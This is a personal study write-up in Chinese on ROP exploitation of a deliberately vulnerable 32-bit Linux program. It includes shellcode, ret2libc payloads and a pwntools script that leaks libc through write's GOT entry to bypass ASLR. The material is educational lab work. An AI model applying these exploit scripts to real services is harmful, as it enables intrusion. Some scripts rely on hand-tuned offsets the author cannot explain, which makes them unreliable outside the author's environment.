一步一步学ROP之linux_x86学习

学习网址:

https://www.tuicool.com/articles/ZruA7bZ

https://www.yuque.com/hxfqg9/bin/zzg02e#qnw71

先来个什么防御都没有的

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

因为read函数读入256个字节 而buf只有128个字节,有明显缓冲区溢出

使用命令进行编译

1
2
3
4
5
6
7
8
9
ubuntu中

gcc -m32 -g -fno-stack-protector -z execstack -o level1 level1.c

kali中

gcc -m32 -g -fno-stack-protector -no-pie -z execstack -o level1 level1.c

不知道为啥kali中运行ubuntu中命令关不掉pie,就再gcc的时候关掉就好了

-m32意思是编译为32位的程序

-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector -no-pie 关掉pie

再执行一下(需要root权限,sudo不好使,先su到root,执行完再exit)

1
echo 0 > /proc/sys/kernel/randomize_va_space

关掉系统的ASLR

用checksec查看一手

1
2
3
4
5
6
7
8
9
$ checksec level1
[*] '/home/giantbranch/pwnstu/test1/level1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

可以使用自己写或网上找的 pattern.py 生成数据

1
2
$python pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

也可以借助gdb-peda 中的pattern生成

1
2
gdb-peda$ pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

这里借助pattern.py生成数据,利用gdb调试程序

1
2
gdb ./level1
run

将生成的数据填入

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

image-20210804115038632

发现了报错//程序接收到信号SIGSEGV(故障地址0x37654136)

说明我们的缓冲区溢出到了返回地址(可执行的指令那)

计算一下距离

1
2
3
$ python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

那我们需要覆盖的点就是140个字节,那就是整个栈的大小

[填充字符]+[ret字符串]就可以让pc执行ret地址上的代码了

[填充字符] => [shellcode……AAAAAAAAAAAAAA……]

image-20210804154955466

也就是我们找到填充的字符串开始的地方,把0x37654136那一块的地址改成找到的地址,把字符串开头写成shellcode就能反弹shell了

最简单就利用execve (“/bin/sh”)

那就是

1
2
3
4
5
6
7
8
9
10
11
12
# xor ecx, ecx 	    #清空ecx寄存器,因为execve的函数ecx的值为0
# mul ecx
# push ecx
# push 0x68732f2f #\x00hs/
# push 0x6e69622f #nib/,小端模式需要反着压入栈中
# mov ebx, esp #将字符串的地址传递给ebx
# mov al, 11
# int 0x80 #调用80中断

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

溢出点有了,shellcode有了,下一步就是跳转到shellcode的地址上

查阅资料发现正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置,但是gdb的调试环境会影响buf在内存中的位置,我们直接运行./level1的时候,缓冲区buf会固定到其他地方

我们就需要用到core dump这个功能。开启了core dump之后,当出现内存错误的时候,系统会生成一个core dump文件,然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

使用

1
ulimit -c unlimited

就能再该文件夹下生成core dump文件

再运行一次程序

1
2
3
$ ./level1 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Segmentation fault (core dumped)

再利用core dumped文件对level1文件gdb调试

1
pdb level1 core

溢出点是140个字节,再加上4个字节ret地址利用x/10s $esp-144查看shellcode地址

image-20210804163719516

image-20210804163513821

那shellcode的地址就是0xffffcfe0

上脚本

1
2
3
4
5
6
7
8
9
from pwn import *
p = process('./level1')
ret = 0xffffcfe0
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()

image-20210804163821270

但是没成功。。。。

查阅了很多资料,但都不行,在思考中

利用gdb调试

发现

image-20210804171633239

shellcode是都进去了,但是esp有不知道去哪了

image-20210804172552292

栈里东西没错啊 esp也指向这里,我写的shellcode

接着一个和next命令,接着直接跳到

image-20210804173224417

是我shellcode有问题🐎QAQ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = process("./level1")
ret = 0xffffcf80
shellcode = asm("xor ecx, ecx")
shellcode += asm("mul ecx")
shellcode += asm("push ecx")
shellcode += asm("mul ecx")
shellcode += asm("push 0x68732f2f")
shellcode += asm("push 0x6e69622f")
shellcode += asm("mov ebx, esp")
shellcode += asm("mov al, 11")
shellcode += asm("int 0x80")
payload =shellcode+ 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()

image-20210804181632363

image-20210804182344977

还不清楚什么原因QAQ

利用生成的报错core gdb调试得到正确的ret地址即可,但还是不清楚为什么原来的ret不行。

通过ret2libc绕过DEP防护(栈不可执行)

https://bbs.secgeeker.net/thread-1540-1-1.html

ret2libc是栈溢出漏洞利用的一种常见手段。通过控制函数执行libc中的函数,libc.so里保存了大量可利用的函数,通常我们利用其执行system(“/bin/sh”)

libc 是 Linux 下的 ANSI C 函数库。是C语言最基本的库函数。可以把它理解为可执行程序的运行依赖

linux下的动态链接是通过PLT&GOT来实现的,动态链接每个函数需要

1.存放函数地址的数据段 2.获取数据段记录的外部函数地址的代码

用来存外部函数地址的数据表叫GOT表,存代码的叫PLT表

libc 是 Linux 下的 ANSI C 函数库;glibc 是 Linux 下的 GUN C 函数库。

libc 实际上是一个泛指。凡是符合实现了 C 标准规定的内容,都是一种 libc 。
glibc 是 GNU 组织对 libc 的一种实现。它是 unix/linux 的根基之一。

glibc在/lib目录下的.so文件为libc.so.6,Linux下原来的标准c库Linux libc逐渐不再被维护

ANSI C 函数库是基本的 C 语言函数库,包含了 C 语言最基本的库函数。

这边借用一下师傅的图

image-20210805120645293

想通过PLT表获得函数的地址,要保证GOT表有存他的正确地址,但是一开始所有函数重定位十分麻烦,linux就有了延迟绑定机制

延迟绑定机制

只有动态库的函数在被调用的时候才会地址解析和重定位。

地址解析和重定位相当当一个函数要被调用了,就会利用PTL表找到GOT表的内容,就可以跳转到正确的地址运行函数。

接着我们的进阶任务

使用命令

1
gcc -m32 -g -fno-stack-protector -o level2 level1.c

生成我们的第二题

利用ret2libc控制函数的执行 libc 中的system(“/bin/sh”)

那现在就是得到system()这个函数的地址以及”/bin/sh”这个字符串的地址,system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。即使程序开启了 ASLR ,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

用checksec看一看

image-20210805152105953

再用命令

1
2
3
gdb ./level2
b main
r

让程序将libc.so加载到内存中

因为我们关闭了ASLR,所以 system函数和”/bin/sh”字符串在内存中的地址是不会变化滴,通过

1
2
print system
find "/bin/sh"

得到system和”/bin/sh”的位置

image-20210805152351709

1
2
0xf7e3ddb0
0xf7f5eb2b

上exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10001)
ret = 0xdeadbeef
systemaddr=0xf7e3ddb0
binshaddr=0xf7f5eb2b
payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
with open("level2ex.txt","wb") as f:
f.write(payload)
p.send(payload)
p.interactive()

由于system执行完需要返回地址,然后再传”/bin/sh”的地址进入system中,那个返回地址没有使用,可以随便写

执行成功:

image-20210805160112990

绕过ASLR防护

把ASLR打开

1
2
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space

再来看看libc的地址,利用ldd命令

1
ldd level2

image-20210805162458153

都不一样,原来的exp就用不了了

我们可以通过先泄露libc.so中的其他函数在内存中的地址,在计算那个其他函数到system函数和”/bin/sh”之间的距离进而求出system函数和”/bin/sh”真正的地址,之后再执行我们的ret2libc的shellcode。

先把libc文件copy过来

1
cp /lib32/libc.so.6 libc.so

使用命令查看可以利用的函数

1
2
3
objdump -d -j .plt level2
objdump -R level2
objdump -d level2

image-20210805171525093

image-20210805171619133

image-20210805192330867

得到vulnerable_function的地址为0x804843b

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
p = process('./level2')
plt_write = elf.symbols['write']
got_write = elf.got['write']
vulfun_addr = 0x804843b
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
p.send(payload1)
write_addr = u32(p.recv(4))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
p.send(payload2)
p.interactive()
1
socat TCP4-LISTEN:10003,fork EXEC:./level #可以开端口让remote连结

p32、p64是打包为二进制,u32、u64是解包为二进制

recv(numb=4096, timeout=default) : 给出接收字节数,timeout指定超时

next(libc.search(‘/bin/sh’))返回’/bin/sh’字符串的位置

结果不对,没拿到shell

运行时加入注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
p = process('./level2')
plt_write = elf.symbols['write']
print "symbols['write'] = " + hex(elf.symbols['write'])
print 'plt_write= ' + hex(plt_write)

got_write = elf.got['write']

print 'got_write= ' + hex(got_write)

vulfun_addr = 0x804843b
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
p.send(payload1)
write_addr = u32(p.recv(4))

print 'write_addr= ' + hex(write_addr)
print 'libc.symbols['write'] = ' + hex(libc.symbols['write'])
print "libc.symbols['system']= " + hex(libc.symbols['system'])
print "next(libc.search('/bin/sh'))= " + hex(next(libc.search('/bin/sh')))
print "libc.symbols['write'] - libc.symbols['system'] = " + hex(libc.symbols['write'] - libc.symbols['system'])
print "(libc.symbols['write'] - next(libc.search('/bin/sh')))= " + hex((libc.symbols['write'] - next(libc.search('/bin/sh'))))

system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])

print 'system_addr= ' + hex(system_addr)

binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))

print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
p.send(payload2)
p.interactive()

image-20210806110516325

gdb调试报错后生成的core文件

1
gdb level2 core

image-20210806110348928

我的write溢出的没错

本地看看libc里的函数

image-20210806110706208

确实没错啊

本地断个点计算一下

image-20210806110830206

image-20210806111045205

image-20210806111141314

和我写代码的算出来不一样啊

image-20210806111233107

image-20210806111307393

1
2
3
4
>>> hex(0x9aee0 - 0x99b80)
'0x1360'
>>> hex(0x85e9b - 0x84c5b)
'0x1240'

想不明白啊呜呜呜

用手算的0x9aee0和0x85e9b写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
p = process('./level2')
w_sys = 0x9aee0
w_bin = 0x85e9b
plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x804843b
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
p.send(payload1)
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
print "libc.symbols['system']=" + hex(libc.symbols['system'])
print "next(libc.search('/bin/sh'))" + hex(next(libc.search('/bin/sh')))
print "libc.symbols['write'] - libc.symbols['system'] = " + hex(libc.symbols['write'] - libc.symbols['system'])
print "(libc.symbols['write'] - next(libc.search('/bin/sh')))" + hex((libc.symbols['write'] - next(libc.search('/bin/sh'))))

system_addr = write_addr - w_sys
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr + w_bin
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
p.send(payload2)
p.interactive()

image-20210806114259908

成功拿到shell,这个问题以后回来解决(咕咕咕🕊)

再kali中system地址对了,字符串”/bin/sh”部分错了通过动调发现少了0x40 给补上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
p = process('./level2')
plt_write = elf.symbols['write']
print "symbols['write'] = " + hex(elf.symbols['write'])
print 'plt_write= ' + hex(plt_write)

got_write = elf.got['write']

print 'got_write= ' + hex(got_write)

vulfun_addr = 0x804843b
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
p.send(payload1)
write_addr = u32(p.recv(4))

print 'write_addr= ' + hex(write_addr)
print "libc.symbols['write'] = " + hex(libc.symbols['write'])
print "libc.symbols['system']= " + hex(libc.symbols['system'])
print "next(libc.search('/bin/sh'))= " + hex(next(libc.search('/bin/sh')))
print "libc.symbols['write'] - libc.symbols['system'] = " + hex(libc.symbols['write'] - libc.symbols['system'])
print "(libc.symbols['write'] - next(libc.search('/bin/sh')))= " + hex((libc.symbols['write'] - next(libc.search('/bin/sh'))))

system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])

print 'system_addr= ' + hex(system_addr)

binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh'))) - 0x40

print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
p.send(payload2)
p.interactive()

应该是因为环境影响,尚且未找到解决方法

假如没有libc.so怎么办

利用LibcSearcher

可以利用它找出偏移